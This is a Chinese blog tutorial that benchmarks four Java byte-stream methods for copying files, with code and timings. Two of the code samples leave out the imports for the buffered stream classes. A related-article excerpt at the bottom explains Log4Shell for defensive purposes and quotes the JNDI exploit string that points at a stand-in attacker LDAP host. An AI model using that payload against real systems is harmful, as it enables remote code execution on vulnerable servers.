点赞
评论
收藏
分享
举报
使用IO流复制文件
发表于2023-11-09 19:35

浏览 479

文章标签

对文件的复制也是我们工作当中经常会遇到的操作,那么哪种方式效率更快呢,今天来做个测试。

头脑风暴

  • 首先能想到的就是,采用两个数据流:一个用于读取、一个用于写入;
  • IO流我们可以采用字节流或字符流,但是字符流只适合操作文本文件,然而我们的目标怎么可能只局限在文本文件呢,要复制就能复制所有的文件类型,比如图片、视频、办公文档、压缩文件等等;

因此,必须采用字节流。


1、使用最基础的输入输出字节流

采用文件输入输出字节流,按照字节读取和写入。

为了感知文件的复制效率,增加开始和结束的时间计算。


import java.io.FileInputStream;
import java.io.FileOutputStream;
 
public class CopyFile {
    public static void main(String[] args) {
        //开始时间
        long startTime = System.currentTimeMillis();
        try {
            //声明将文件内容读取到内存的节点流
            FileInputStream fis = new FileInputStream("E:/Swagger.pdf");
            //声明将内存数据写入到文件的节点流
            FileOutputStream fos = new FileOutputStream("E:/Swagger_bak2.pdf");
 
            int read = 0;
            //按字节读取
            while ((read = fis.read()) != -1){
                //按字节写入
                fos.write(read);
            }
            //刷新缓存到文件
            fos.flush();
            fos.close();
            fis.close();
        }catch (Exception e){
            e.printStackTrace();
        }
        //结束时间
        long endTime = System.currentTimeMillis();
        //耗时
        System.out.println((endTime - startTime));
    }
}


输出:

1410

这种方法虽然可以完成文件复制功能,但是效率低,因为每个字节读取或写入,需要调用大量的磁盘IO操作。

2、在输入输出字节流中加入缓存

依然采用文件输入输出字节流,但此次增加了字节数组作为缓存,增加了一次读取和写入的数据量。


import java.io.FileInputStream;
import java.io.FileOutputStream;
 
public class CopyFile {
    public static void main(String[] args) {
        long startTime = System.currentTimeMillis();
        try {
            FileInputStream fis = new FileInputStream("E:/Swagger.pdf");
            FileOutputStream fos = new FileOutputStream("E:/Swagger_bak.pdf");
 
            //启用缓存
            byte[] buf = new byte[1024];
 
            int read = 0;
            //从文件中一次读取缓存中定义的字节
            while ((read = fis.read(buf)) != -1){
                //向文件中一次写入缓存中定义的字节数据
                fos.write(buf, 0, read);
            }
 
            fos.flush();
            fos.close();
            fis.close();
        }catch (Exception e){
            e.printStackTrace();
        }
        long endTime = System.currentTimeMillis();
        System.out.println((endTime - startTime));
    }
}


输出:

5

加入了缓存数组后,减少了磁盘IO操作,按块对源文件数据进行读取,并批量写入,可以看到,文件复制的效率提升非常明显。

需要注意的是:缓存块的大小定义要适中,太小起不到作用,太大会占用过多内存。

定义太大,如果是多任务并行执行,可能会导致内存溢出。


3、不使用缓存,仅使用字节缓冲流拷贝文件

在原先文件输入输出字节流的基础上,仅增加字节缓冲流,不使用缓存。


import java.io.FileInputStream;
import java.io.FileOutputStream;
 
public class CopyFile {
    public static void main(String[] args) {
        //开始时间
        long startTime = System.currentTimeMillis();
        try {
            FileInputStream fis = new FileInputStream("E:/Swagger.pdf");
            FileOutputStream fos = new FileOutputStream("E:/Swagger_bak2.pdf");
            //声明字节缓冲输入流
            BufferedInputStream bis = new BufferedInputStream(fis);
            //声明字节缓冲输出流
            BufferedOutputStream bos = new BufferedOutputStream(fos);
 
            int read = 0;
            //将文件内容读取到缓冲流中
            while ((read = bis.read()) != -1){
                //将文件内容写入到字节缓冲流
                bos.write(read);
            }
 
            bos.flush();
            bos.close();
            bis.close();
        }catch (Exception e){
            e.printStackTrace();
        }
        //结束时间
        long endTime = System.currentTimeMillis();
        //耗时
        System.out.println((endTime - startTime));
    }
}


输出:

22

从输出的耗时来看,这种方式的效率,也明显优于单纯的使用字节的节点流来实现文件的拷贝,但是相比缓存方式读取,效率并没有优势。


4、字节缓冲流加缓存,实现文件复制

终极测试来了。

在文件输入输出字节流基础上,同时增加字节缓冲流,及字节数组的缓存。


import java.io.FileInputStream;
import java.io.FileOutputStream;
 
public class CopyFile {
    public static void main(String[] args) {
        //开始时间
        long startTime = System.currentTimeMillis();
        try {
            FileInputStream fis = new FileInputStream("E:/Swagger.pdf");
            FileOutputStream fos = new FileOutputStream("E:/Swagger_bak2.pdf");
            //声明字节缓冲输入流
            BufferedInputStream bis = new BufferedInputStream(fis);
            //声明字节缓冲输出流
            BufferedOutputStream bos = new BufferedOutputStream(fos);
            
            //声明缓存
            byte[] buf = new byte[1024];
            int read = 0;
            //采用缓冲流,读写缓存数据
            while ((read = bis.read(buf)) != -1){
                bos.write(buf, 0, read);
            }
 
            bos.flush();
            bos.close();
            bis.close();
        }catch (Exception e){
            e.printStackTrace();
        }
        //结束时间
        long endTime = System.currentTimeMillis();
        //耗时
        System.out.println((endTime - startTime));
    }
}


输出:

2

采用这种方式,同时使用的缓冲流和缓存技术,相比前几种实现方式,进一步提升了文件的读写效率,适当增大缓存数组,充分利用内存实现文件的极速复制。


总结:

文件复制的效率依次为:

字节流 < 缓冲流 < 缓存 < 缓冲流+缓存

也能看出,只要能减少磁盘IO操作,效率自然就会提升。




我的博客即将同步至腾讯云开发者社区,邀请大家一同入驻:https://cloud.tencent.com/developer/support-plan?invite_code=11o1a9mh55g54


已修改于2023-11-09 19:35
创作不易,留下一份鼓励
头发尚在

长期奋战在测试开发一线。

关注



写下您的评论
发表评论
全部评论(0)

按点赞数排序

按时间排序

关于作者
头发尚在
长期奋战在测试开发一线。
1
文章
0
问答
0
粉丝
相关文章
 中发现了一个非常严重的Log4Shell是什么?2.16修复了该漏洞。)Log4Shell是指针对该漏洞的攻击行为。但是,这一漏洞是什么呢?为何它如此重要?如CVE中所述,Apachelog4jJava库未能正确地对输入进行验证。log4j库与Java运行时包含的Java命名和目录接口(JNDI)这一特性可用于执行远程查找,这样就可以从外部数据源获取数据(例如从LDAP获取用户名或从DNS获取IP地址),然后再将其加入某个日志条目中。然而,远程攻击者会趁机劫持JNDI来执行其编写的Java代码。下图形象地展示了攻击过程。${jndi:ldap://evil.xa/x} 和完全不会。NGINX本身不会受到这一漏洞攻击的影响,因为它采用C语言编写而成,没有使用Java或任何基于Java的库。有关所有F5和NGINX的产品针对 如上所述,攻击者必须将用于攻击的字符串插在HTTP请求中某个位置,并发送给目标应用。NGINX提供了多种用于扫描入向请求的工具,以便识别入侵迹象(IOC)
点赞 6
浏览 2.5k
原文作者:TimoStarkofF5原文链接:借助NGINXUnit在零信任环境中运行SpringBoot应用-NGINX转载来源:NGINX官方网站(首次发布于2021.8.18)  近来,好像人人都在讨论“安全性”。保护应用安全历来挑战重重,上云之后更是难上加难。而一种看起来比较靠谱的解决方案是“零信任”。Gartner 将“零信任”定义为:  ……一种在所有计算基础架构中消除绝对信任的方法,“零信任”意味着会有意地且持续地计算和调整信任级别,使得“适时、适度地访问企业资源”得以实现。但“零信任”究竟是如何在云环境中工作的,有哪些技术可以帮助您实现“零信任”?本文将在一个常见用例的背景下介绍零信任:假设您是一家拥有各种由Java提供支持的API和服务的保险公司。现在您已迁移到云端,生产级工作负载由CI/CD流水线自动构建,并部署在公有云服务提供商的Kubernetes集群中。在处理敏感的客户信息时,一个主要要求就是使用TLS加密所有的流量。您已在边缘负载均衡器和IngressContr
点赞 0
浏览 1.6k
原文作者:NGINX中文社区官方团队ofF5原文链接:NGINXSprint年度线上会议:报名通道已开启,立即预定您的NGINX深潜之旅转载来源:NGINX官方网站 带上您的潜水服、调节器、潜水电脑表和水下摄像机,跟随我们在NGINXSprintChina2022年度线上会议期间,一起深潜到NGINX的斑斓世界吧! 12月1日,在一年一度的NGINXSprintChina2022线上大会中了解最热的行业趋势以及NGINX的最新动态,并探索NGINX及其周边生态的使用案例、技术解析和运维实践,您还将有机会与NGINX官方团队、行业大咖以及社区中的开发者和技术爱好者共同探讨交流。 关于NGINXSprintChina2022NGINXSprintChina2022是一年一度NGINXSprint全球线上大会的本地分支版本,也是F5NGINX中国区全年最盛大的旗舰会议。在去年的Sprint大会中,我们曾一起遨游太空,而今年正如您所见——我们将一起深潜到海底。 此次会议将于20
点赞 0
浏览 996